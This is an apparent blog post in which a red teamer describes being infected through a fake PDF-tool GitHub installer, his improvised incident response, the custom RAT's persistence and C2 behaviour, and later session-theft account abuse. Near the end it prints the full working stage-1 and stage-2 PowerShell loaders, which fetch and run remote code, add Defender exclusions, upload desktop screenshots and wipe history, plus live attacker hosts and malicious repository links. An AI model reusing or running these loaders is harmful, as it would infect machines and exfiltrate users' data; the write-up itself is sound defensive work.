Skip to main content

When the Red Teamer Gets Pwned: Being Forced Onto the Blue-Team Side of an Incident

There is a particular kind of embarrassment in being a security professional and realizing that you have just executed malware on your own machine.

I work primarily on the offensive side of security. My daily mental model is usually the attacker's: initial access, privilege escalation, persistence, command and control, lateral movement, defense evasion. I am much more accustomed to asking, “How would I get in?” than “What exactly happened to this host, and how do I prove I got everything out?”

Then I managed to get myself compromised.

It was embarrassing, certainly. But it also became one of the most valuable security exercises I have had in a long time, because for once I did not have the luxury of knowing what the attacker had done. I had to reconstruct it from artifacts, make decisions under time pressure, prioritize imperfect information, and learn — sometimes a little too late — why incident response is a discipline of its own.

This is the first part of that story: the initial compromise and my improvised incident response.

It Started With a GitHub Repository

I was looking on GitHub for an open-source alternative for PDF reading and editing.

Eventually I found a repository that, at first glance, did not look particularly alarming. It had a non-trivial number of stars and forks, the README was concise, and — most importantly — it offered exactly the kind of frictionless deployment instruction developers love:

irm <URL> | iex


A one-liner. Copy, paste, done.

That should already have triggered more suspicion than it did.

But this is one of the problems with technical users: we routinely run installation commands from package managers, bootstrap scripts, GitHub READMEs and vendor documentation. A PowerShell one-liner is not inherently malicious. It is simply part of the modern installation culture.

So I ran it.

The installation appeared to require some time. While waiting, I went back to the README and actually read it more carefully.

That was when the first alarm bells started ringing.

Outside of the installation command, very little of the repository actually seemed related to PDF software. The content was strangely sparse. The external domain used by the installer did not look like anything I would expect from a legitimate project. And although the repository had enough stars and forks to create superficial credibility, the account behind it was extremely new.

Individually, none of those observations was conclusive.

Together, they felt wrong.

I immediately interrupted the installation.

I knew that stopping it at that point did not mean I was safe. Code had already executed. But incident response is often about reducing the remaining exposure rather than undoing something that has already happened. If the malware had completed 70% of its workflow, stopping the remaining 30% was still better than letting it finish.

The PowerShell Chain Confirmed My Suspicion

I pulled apart the one-liner.

The first-stage PowerShell was simple. It primarily existed to retrieve another PowerShell script, with a specific request structure and an unusually distinctive User-Agent. It contained a Base64-encoded command which decoded into a request for:

https://shells.su/encrypted/api.ps1


At that point the probability of this being an innocent but poorly designed installer dropped dramatically.

The second-stage PowerShell was much more informative.

Its overall execution chain was roughly:

PowerShell
    ↓
environment / privilege checks
    ↓
attempted Defender exclusion
    ↓
host and geographic reconnaissance
    ↓
download encrypted ZIP + 7za
    ↓
desktop screenshot exfiltration
    ↓
extract executable payload
    ↓
execute payload


The loader created a random working directory under:

%TEMP%\svc_<random>\


downloaded a password-protected archive and a copy of 7za.exe, then extracted the actual executable into a path resembling:

%TEMP%\svc_<random>\out\1\1.exe


The payload I recovered was a 533,504-byte x64 PE with SHA-256:

97c6e8a58c8ca86af979fa64a516a09cdc48c6dd61fc9dd027c4af715165fb66


The PowerShell stage also captured the entire Windows virtual desktop and uploaded the screenshot to the attacker's staging infrastructure. Later versions of the live loader I preserved performed this screenshot collection twice — once before launching the payload and once again near the end of the fake installation flow.

So there was an uncomfortable but important distinction to make immediately:

Some damage was already irreversible.

Whatever had been visible on my desktop during execution had potentially been exfiltrated. The executable had already been downloaded. Host information had already been exposed.

There was no point wasting critical minutes pretending I could undo those events.

The priority was now to stop whatever was still happening.

Triage Under Time Pressure

This was where being an offensive security practitioner helped.

I effectively split the investigation into two tracks.

On one side, I preserved the executable and handed it to AI-assisted static analysis. I knew that a rapid static analysis would be incomplete — especially against a custom binary using obfuscation — but I did not need a perfect reverse engineering report at that moment. I needed enough information to prioritize containment.

On the other side, I started manually investigating the host.

The initial loader already gave me a rough idea of the attacker's engineering style.

It was not particularly subtle.

It used PowerShell openly. It attempted Add-MpPreference. It downloaded and extracted a ZIP into %TEMP%. It spawned a normal executable. The payload itself later turned out to rely heavily on primitives such as:

cmd.exe /C
CreateProcess
OpenProcess
WriteProcessMemory
NtCreateThreadEx


There were also obvious engineering mistakes in the loader. For example, responses from start.php and end.php were piped into Out-Null, and then the script attempted to inspect the variables that should have contained those responses. The extraction code also referenced an undefined $process.ExitCode.

The code was malicious, but it was not elegant.

That observation mattered.

Profiling the Attacker to Prioritize the Search

Windows persistence is a large search space.

Scheduled tasks, Run keys, services, WMI subscriptions, startup shortcuts, Winlogon modifications, IFEO, COM hijacking, AppInit DLLs, LSA packages, DLL search-order hijacking, shell extensions — the checklist can become very long very quickly.

I did not have the luxury of treating every technique as equally probable.

The loader gave me a useful prior.

This did not look like an operator building around an enterprise EDR and expecting a dedicated SOC to inspect every process tree. It looked more like malware intended to win through volume: compromise ordinary users, move quickly, and accept noisy behavior because sophisticated endpoint evasion would be unnecessary overhead for the target population.

In other words, using cmd.exe /C or PowerShell was poor OPSEC against an enterprise EDR, but perfectly adequate against a normal consumer machine.

So I made a bet.

I started with the boring persistence mechanisms:

  • scheduled tasks,
  • obvious registry autostarts,
  • services,
  • startup locations,
  • suspicious files in ProgramData and AppData.

It was not because I believed more advanced persistence was impossible. It was risk-based triage: investigate the techniques most consistent with the engineering maturity already visible in the attack chain, then widen the search afterward.

That bet paid off very quickly.

RuntimeBroker.exe — But Not the Windows One

I found:

C:\ProgramData\Windows\Microsoft\RuntimeBroker.exe


The real Windows Runtime Broker does not belong there.

Even more importantly:

SHA256(RuntimeBroker.exe)
==
SHA256(1.exe)


The attacker had simply copied the original payload into a Windows-looking directory and renamed it after a legitimate system process.

Later reverse engineering confirmed the exact installation logic:

GetModuleFileNameW
    ↓
compare current path with install path
    ↓
remove stale copy if present
    ↓
CreateDirectoryW
    ↓
CopyFileW
    ↓
set Hidden + System attributes
    ↓
CreateProcessW(RuntimeBroker.exe)
    ↓
ExitProcess(original payload)


The malware did not even generate a different persistence binary.

It was the same executable, copied byte-for-byte.

The parent path had also been marked with Windows filesystem attributes that made it disappear from ordinary Explorer views. During the live investigation:

attrib "C:\ProgramData\Windows"


showed:

SH   I


The malware had essentially hidden itself behind a path designed to trigger the user's instinct of “that looks like Windows; I probably should not touch it.”

Later reversing showed that the binary's obfuscated attribute-setting logic ultimately simplified to:

OldAttributes | FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM


Simple, but effective.

Four Scheduled Tasks, One Payload

The major persistence mechanism was Task Scheduler.

I eventually identified four malicious tasks:

\Microsoft\Location\MicrosoftUpdaterMachineCore

\Microsoft\Windows\EDP\ScheduledDef

\Microsoft\Windows\RegisterDeviceAccountChange\ProgramDataUpdate

\Microsoft\Windows\SoftwareProtectionPlatform\SvcRestartTaskWindowsLogins


All four pointed to:

C:\ProgramData\Windows\Microsoft\RuntimeBroker.exe


The naming was deliberate. Instead of creating something obviously suspicious such as:

\UpdateTask123


the malware buried its tasks inside namespaces that looked like ordinary Microsoft components.

The host timeline was particularly clean:

23:44:56  RuntimeBroker.exe created
23:44:57  four scheduled tasks created


The persistent copy and the initially downloaded executable had exactly the same SHA-256.

From the task XML I recovered, one task repeated every 30 minutes, while the others provided boot-time execution. They ran under the built-in Administrator identity with HighestAvailable privileges.

Later reverse engineering also confirmed that the malware did not use schtasks.exe. It instantiated Task Scheduler through COM using ITaskService, creating multiple redundant task definitions whose actions all pointed back to the same executable.

I started thinking of the design as:

Multiple locks, one door.

The attacker had created several ways to reopen the same door, but there was still only one door.

That was fortunate.

If the persistence architecture had instead looked like:

Task A → payload A
Service B → payload B
WMI C → script C
COM hijack D → DLL D


then missing one mechanism could have left the host compromised indefinitely.

Here, all four scheduled tasks ultimately depended on the same binary.

Delete the tasks and remove that executable, and the redundancy collapsed into a single point of failure.

From an offensive engineering perspective, that is not ideal malware architecture.

From my perspective as the accidental blue team, I was happy to take the gift.

The Directory That Would Not Die

There was another small mystery during cleanup.

The temporary payload itself could be deleted, but one of its directories could not:

...\svc_<random>\out\1


Explorer simply reported that the folder was in use.

My first searches for an open handle returned nothing, until I narrowed the search:

handle.exe -a "\out\1"


That produced:

explorer.exe       ... C:\Users\Administrator\AppData\Local\Temp\svc_...\out\1
explorer.exe       ... C:\Users\Administrator\AppData\Local\Temp\svc_...\out\1
RuntimeBroker.exe  ... C:\Users\Administrator\AppData\Local\Temp\svc_...\out\1


After the relevant handles disappeared, the directory could be removed.

The launch chain itself had explicitly set the payload's working directory to its extraction directory, so the artifact was consistent with the malware execution flow. But this was also a useful reminder not to overinterpret a single artifact: a locked directory told me something was using it, not automatically why.

That distinction — hypothesis versus evidence — would keep coming up throughout the investigation.

The Binary Was More Sophisticated Than the Loader

The rapid static triage initially reinforced my attacker profile: practical RAT functionality, straightforward task execution, plenty of detectable behavior.

The deeper reverse engineering performed afterward complicated that picture.

The executable was not simply a badly written commodity stub.

It was a custom x64 C++ RAT with encrypted strings, dynamic API resolution and significant control-flow obfuscation. Sensitive strings were decrypted on demand into TLS-backed storage. The binary performed anti-VM and anti-sandbox checks, including checks for VMware, VirtualBox, QEMU, Hyper-V and even an explicit "anyrun GPU" indicator. It dynamically resolved sensitive APIs instead of exposing them through a rich import table.

It also contained code for:

NtAllocateVirtualMemory
NtWriteVirtualMemory
NtCreateThreadEx


with targets including:

winlogon
smartscreen
explorer.exe


suggesting a process-injection capability.

The RAT maintained a mutex:

Global\RuntimeBrokerAds


and stored C2 configuration under:

HKCU\Software\Microsoft\EventSystem


The latter was configuration persistence rather than an autostart mechanism — an important distinction I had initially missed.

Later protocol reversing identified its main C2 as a WebSocket service on:

145.63.134.94:406


with a secondary HTTP task channel on port 408, plus a dynamic DuckDNS mechanism. Its application protocol included commands such as:

ready;
getinfo
ping
pong
task
createtask
closetask
task_id;
task_done;
update


and remote shell execution ultimately fell back to:

cmd.exe /C <command>


The WebSocket implementation even reused the RFC example key:

Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==


which is an unusually strong network detection fingerprint.

So the eventual picture was more nuanced than my first impression.

The delivery and operational OPSEC were crude.

The binary protection and RAT engineering were more competent.

Those two things are not contradictory. Malware intended for broad consumer compromise does not necessarily need to behave like a Cobalt Strike implant trying to survive CrowdStrike Falcon in a bank.

I Thought I Was Done

After checking the obvious autostart surfaces, correlating the scheduled tasks, removing the persistent executable, and verifying that the known execution paths were gone, I finally relaxed.

I had found the payload.

I had found its persistent copy.

I had found the scheduled tasks.

They all pointed to the same executable.

The beacon was gone.

The machine looked quiet.

So I went to sleep.

That was my next mistake.

Not because the RAT was necessarily still there, but because I had thought almost entirely in terms of host containment.

I had asked:

Is the malware still running?

I had not spent enough time asking:

What did the malware steal while it was running?

That difference is obvious in hindsight.

It was less obvious at two in the morning while racing to remove an active RAT from my own machine.

The Next Morning, Discord Logged Me Out

The following day I opened Discord on my phone.

I was logged out.

That immediately felt wrong.

The account used an email address I rarely checked, so I opened the mailbox.

There it was: a Discord password-reset request, followed by confirmation that the password had been changed. There were also account-abuse notifications consistent with the account having been used to distribute spam.

The attacker had not merely stolen the Discord session.

They had accessed the associated mailbox and consumed the password-reset workflow.

I recovered the Discord account through support and changed the email password.

But that was only the beginning.

Over the following days, more accounts began showing signs of abuse.

Instagram was used to send advertisements to friends without a full account takeover.

A second Discord account was used to spam friends and channels; interestingly, the attacker deleted the conversations from the compromised account's side afterward, apparently trying to make the abuse less visible. I caught it because my two Discord accounts were friends with each other — the second account received the message even though the compromised side had removed its local conversation.

Steam was also used to message friends.

That incident later produced one of the strongest pieces of evidence for browser-session theft. Steam identified the abused session as:

Web browser — "Chrome on Windows"


and showed that the device had originally been authorized on August 3, using my password and a Steam Guard code — well before the malware infection.

The later malicious activity therefore inherited an authentication context that I had legitimately established before compromise.

That is much more consistent with stolen browser session material than with an attacker simply logging in again using my password.

Other effects followed.

Cursor accumulated roughly $70 of unauthorized usage charges across two days.

My Amazon account was accessed. The attacker successfully bought a $25 gift card, then attempted a $100 gift card that Amazon's fraud controls rejected. They also ordered two products that closely resembled things I had bought before — vitamins and cat food — potentially as behavioral cover around the fraudulent transaction. The successful gift card was sent to a disposable email address.

At this point, the common denominator was becoming difficult to ignore.

These were very different services:

Google
Discord
Instagram
Steam
Amazon
Cursor


They did not necessarily share passwords.

What they did share was a browser.

The Real Incident Was Bigger Than the RAT

The host compromise had lasted a relatively short time.

The identity compromise lasted much longer.

That was the lesson I had initially missed.

The RAT did not need to remain resident for a week. If it had harvested authenticated browser state during the original infection, the attacker could continue consuming those sessions days after the host itself had been cleaned.

The evidence increasingly supported exactly that model.

The compromise was therefore better represented as:

GitHub lure
    ↓
PowerShell staging
    ↓
custom RAT execution
    ↓
browser authentication material harvested
    ↓
host persistence removed
    ↓
stolen sessions remain usable remotely
    ↓
account abuse continues for days


In other words:

Host containment and identity containment were two different incidents running on two different timelines.

And this was the point where my improvised role as a blue teamer became much more uncomfortable.

I had been relatively effective at hunting the malware because I understood how attackers think.

But I had initially treated the end of malware execution as the end of the incident.

A dedicated incident responder would have been much quicker to assume credential and session compromise, revoke authentication state centrally, preserve more telemetry before killing processes, and work outward from the identity control plane rather than playing account-by-account whack-a-mole.

That gap was humbling.

It was also exactly why the incident became so valuable.

Because the next phase was no longer about finding malware on a Windows machine.

It was about figuring out what had been stolen, how the attackers were consuming it, and who was behind the infrastructure that delivered it.

And that is where the incident gradually turned into a threat-intelligence investigation.

////

As a red teamer, usually I am the attacker, though legitimate. But this time, I was attacked by other actors, it is somewhat embarrasing, but also a valuable and forgotten experience, which pushed me to think and act like a blue teamer.

Therefore, this article will be a rare one that is categorized into blue team theme, covering incident response, threat intelligence, OSINT, etc. techniques.


Stage 1 Malicious PowerShell Script

[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
$encodedCommand = "aXJtIC1VcmkgImh0dHBzOi8vc2hlbGxzLnN1L2VuY3J5cHRlZC9hcGkucHMxIiAtVXNlckFnZW50ICJhaXprSGtLdGZOZHptYXljT0pmamhEUGFOTENWWUtNTXBrQWNVeXN5SXBZakFVaE5McXNRTEd5VnlJV2ZDZ25FQmlKWWVqclpMd0N3aG1Wa0VqSXhLSGVQTVllZUVNV1hhcklua211d3JVbXpCSXMiIHwgaWV4"
$decodedCommand = [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($encodedCommand))

Stage 2 Malicious PowerShell Script

# ------------------------------------ LAUNCH ------------------------------------- #

$ErrorActionPreference = 'Stop'
$ProgressPreference = 'SilentlyContinue'

[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12

[Net.WebRequest]::DefaultWebProxy = [Net.WebRequest]::GetSystemWebProxy()
[Net.WebRequest]::DefaultWebProxy.Credentials = [Net.CredentialCache]::DefaultNetworkCredentials


function Show-Progress {
    param(
        [int]$Percent,
        [string]$Text = ""
    )

    $esc = [char]27
    $width = 20

    $filled = [math]::Floor($width * $Percent / 100)
    $empty = $width - $filled

    $gray = "$esc[100m"
    $darkGray = "$esc[48;5;236m"
    $reset = "$esc[0m"

    [Console]::Write(
        "`r        $gray$(' ' * $filled)$reset$darkGray$(' ' * $empty)$reset $Percent% $Text"
    )
}



# ----------------------------------- VARIABLES ----------------------------------- #

$site     = "https://shells.su"
$zipUrl   = "$site/encrypted/1.zip"
$7zaUrl   = "$site/encrypted/7za.exe"
$password = '1'
$exePath  = '1/Helper.exe'

$work = Join-Path $env:TEMP "svc_$(Get-Random)"
$zip  = Join-Path $work '1.zip'
$7za  = Join-Path $work '7za.exe'
$dest = Join-Path $work 'out'


# ----------------------------------- VARIABLES+ ---------------------------------- #

$pcName            = $env:COMPUTERNAME
$userAgent         = "tlmqByUgtFbCmHjtfHJETtvEqghqrHORnDzNqWEEbXXipkrdHXJotzEvuerMxVgDiLp"

$startUrl          = "$site/start.php"
$screenUrl         = "$site/screen.php"
$endUrl            = "$site/end.php"

$firstStepText     = '[1/3] Checking for Updates...'
$secondStepText    = '[2/3] Initialization Components...'
$thirdStepText     = '[3/3] Running Application...'

$firstSubstepText  = '[SUCCESSFULLY]'
$secondSubstepText = '[SUCCESSFULLY]'
$thirdSubstepText  = '[ERROR]'

if (Test-Path $work) { Remove-Item $work -Recurse -Force }
New-Item -ItemType Directory -Path $work -Force | Out-Null


# ---------------------------------- ADMIN RIGHTS --------------------------------- #

$identity  = [Security.Principal.WindowsIdentity]::GetCurrent()
$principal = New-Object Security.Principal.WindowsPrincipal($identity)
$isAdmin   = $principal.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)

# [STEP 1/3]:
Clear-Host
Write-Host "`n  $firstStepText" -ForegroundColor Cyan

if (-not $isAdmin) {}

if ($isAdmin) {
        Add-MpPreference -ExclusionPath $work -ErrorAction SilentlyContinue | Out-Null
}


# ---< REQUEST 1 >---------------------- GEO -------------------------------------- #

$country = [System.Globalization.RegionInfo]::CurrentRegion.TwoLetterISORegionName

filter CustomTrim { $_ -replace '[\r\n\t]', '' }

$geoServices = @(
    @{ Uri = "https://ipwho.is/?fields=country_code"; Path = "country_code" },
    @{ Uri = "https://ipapi.co";        Path = $null },
    @{ Uri = "https://ipinfo.io";             Path = $null }
)

foreach ($service in $geoServices) {
    try {
        $response = Invoke-RestMethod -Uri $service.Uri -TimeoutSec 5 -UserAgent $userAgent -ErrorAction Stop

        if ($response) {
            if ($service.Path -and $response.$($service.Path)) {
                $country = $response.$($service.Path).Trim().ToUpper()
            } else {
                $country = ($response | CustomTrim).ToUpper()
            }

            if ($country -match '^[A-Z]{2}$') {
                break
            }
        }
    }
    catch {
        continue
    }
}

# ------------------------------------- LINKS ------------------------------------- #

$startRequest  = "${startUrl}?pc=${pcName}&country=$country"
$screenRequest = "${screenUrl}?pc=${pcName}&country=$country"
$endRequest    = "${endUrl}?pc=${pcName}&country=$country"


# ---< REQUEST 2 >--------------------- START ------------------------------------- #

try {
    $startScript = Invoke-RestMethod -Uri $startRequest -TimeoutSec 15 -UserAgent $userAgent -ErrorAction SilentlyContinue | Out-Null

    if (-not [string]::IsNullOrWhiteSpace($startScript)) {
        $startBlock = [scriptblock]::Create($startScript)
        & $startBlock
    }
}
catch {
    Write-Warning "$_"
}


# ---< REQUEST 3 >-------------------- DOWNLOAD ----------------------------------- #

try {
    if (-not (Test-Path $work)) { New-Item -ItemType Directory -Path $work -Force | Out-Null }

    Invoke-WebRequest -Uri $zipUrl -OutFile $zip -UserAgent $userAgent -TimeoutSec 600 -MaximumRedirection 5
    Invoke-WebRequest -Uri $7zaUrl -OutFile $7za -UserAgent $userAgent -TimeoutSec 600 -MaximumRedirection 5
}
catch {}

# ---< REQUEST 4 >------------------- SCREENSHOT ---------------------------------- #

Add-Type -AssemblyName System.Windows.Forms
Add-Type -AssemblyName System.Drawing

try {
    $bounds = [Windows.Forms.SystemInformation]::VirtualScreen
    $bmp    = New-Object System.Drawing.Bitmap $bounds.Width, $bounds.Height
    $gfx    = [System.Drawing.Graphics]::FromImage($bmp)

    $gfx.CopyFromScreen($bounds.Location, [System.Drawing.Point]::Empty, $bounds.Size)

    $ms = New-Object System.IO.MemoryStream
    $bmp.Save($ms, [System.Drawing.Imaging.ImageFormat]::Png)

    $gfx.Dispose()
    $bmp.Dispose()

    $base64 = [Convert]::ToBase64String($ms.ToArray())
    $ms.Dispose()

    $screenBody = @{
        pc    = $pcName
        image = "data:image/png;base64,$base64"
    }

    Invoke-RestMethod -Uri $screenRequest -Method Post -Body $screenBody -UserAgent $userAgent -TimeoutSec 60 -ErrorAction Stop | Out-Null
}
catch {}

# [SUBSTEP 1/3]:

for ($i = 0; $i -le 100; $i++) {
    Show-Progress $i
    Start-Sleep -Milliseconds (Get-Random -Minimum 5 -Maximum 20)
}

Show-Progress 100
Write-Host "$firstSubstepText" -ForegroundColor Green

Start-Sleep -Seconds 3


# --------------------------------- OPEN & LOGGING -------------------------------- #

# [STEP 2/3]:
Clear-Host
Write-Host "`n  $secondStepText" -ForegroundColor Cyan

try {
    if (-not (Test-Path $7za)) { throw "[7za] - Error code: 2" }
    if (-not (Test-Path $zip)) { throw "[ZIP] - Error code: 2" }

    $unpackParams = @("x", "`"$zip`"", "-o`"$dest`"", "-p$password", "-y")

    $null = & $7za x "$zip" "-o$dest" "-p$password" -y 2>&1

    if ($process.ExitCode -ne 0) {
        throw "[ERROR LOG] 7za: $($process.ExitCode)"
    }
}
catch {}


# [RUN FILE]
$exe = Join-Path $dest $exePath

try {
    if (Test-Path $exe) {
        Start-Process $exe -WorkingDirectory (Split-Path $exe) -Wait -ErrorAction Stop
    } else {
        throw "[ZIP] - Error code: 2"
    }
}
catch {
    Write-Warning "$_"
}

if (Test-Path $work) {
    Remove-Item $work -Recurse -Force -ErrorAction SilentlyContinue
}

# [SUBSTEP 2/3]:

for ($i = 0; $i -le 100; $i++) {
    Show-Progress $i
    Start-Sleep -Milliseconds (Get-Random -Minimum 10 -Maximum 25)
}

Show-Progress 100
Write-Host "$secondSubstepText" -ForegroundColor Green

Start-Sleep -Seconds 3


# ---< REQUEST 5 >--------------------- ENDING ------------------------------------ #

# [STEP 3/3]:
Clear-Host
Write-Host "`n  $thirdStepText" -ForegroundColor Cyan

try {
    $endScript = Invoke-RestMethod -Uri $endRequest -TimeoutSec 15 -UserAgent $userAgent -ErrorAction SilentlyContinue | Out-Null

    if (-not [string]::IsNullOrWhiteSpace($endScript)) {
        $endBlock = [scriptblock]::Create($endScript)
        & $endBlock
    }
}
catch {
    Write-Warning "$_"
}

# [SUBSTEP 3/3]:

for ($i = 0; $i -le 100; $i++) {
    Show-Progress $i
    Start-Sleep -Milliseconds (Get-Random -Minimum 5 -Maximum 30)
}

Show-Progress 100
Write-Host "$thirdSubstepText`n" -ForegroundColor Red

Start-Sleep -Milliseconds 500

Write-Host "  [ERROR] Failed to load DLL: keygen.dll`n  [ERROR] The specified module could not be found.`n  [ERROR] Error code: 0x8007007E`n  [ERROR] One or more dependencies may be missing.`n  [ERROR] Operation failed." -ForegroundColor Red

# ENDING SCREENSHOT
try {
    $bounds = [Windows.Forms.SystemInformation]::VirtualScreen
    $bmp    = New-Object System.Drawing.Bitmap $bounds.Width, $bounds.Height
    $gfx    = [System.Drawing.Graphics]::FromImage($bmp)

    $gfx.CopyFromScreen($bounds.Location, [System.Drawing.Point]::Empty, $bounds.Size)

    $ms = New-Object System.IO.MemoryStream
    $bmp.Save($ms, [System.Drawing.Imaging.ImageFormat]::Png)

    $gfx.Dispose()
    $bmp.Dispose()

    $base64 = [Convert]::ToBase64String($ms.ToArray())
    $ms.Dispose()

    $screenBody = @{
        pc    = $pcName
        image = "data:image/png;base64,$base64"
    }

    Invoke-RestMethod -Uri $screenRequest -Method Post -Body $screenBody -UserAgent $userAgent -TimeoutSec 60 -ErrorAction Stop | Out-Null
}
catch {}

Read-Host -Prompt "`n  Press Enter to exit"

[Microsoft.PowerShell.PSConsoleReadLine]::ClearHistory()

Remove-Item (Get-PSReadlineOption).HistorySavePath -Force -ErrorAction SilentlyContinue
Set-PSReadlineOption -HistorySaveStyle SaveNothing
[Microsoft.PowerShell.PSConsoleReadLine]::ClearHistory()

Alive Repositories At the Time of Writing:

https://github.com/Binaryunenhance/instagram-liker-bot-auto-like-software-download

https://github.com/dev-Warrior65621/Adobe-Acrobat-Pro

https://github.com/mad-Plasma-Mind9/crypto-miner-gpu-cpu-hashrate 

Back to top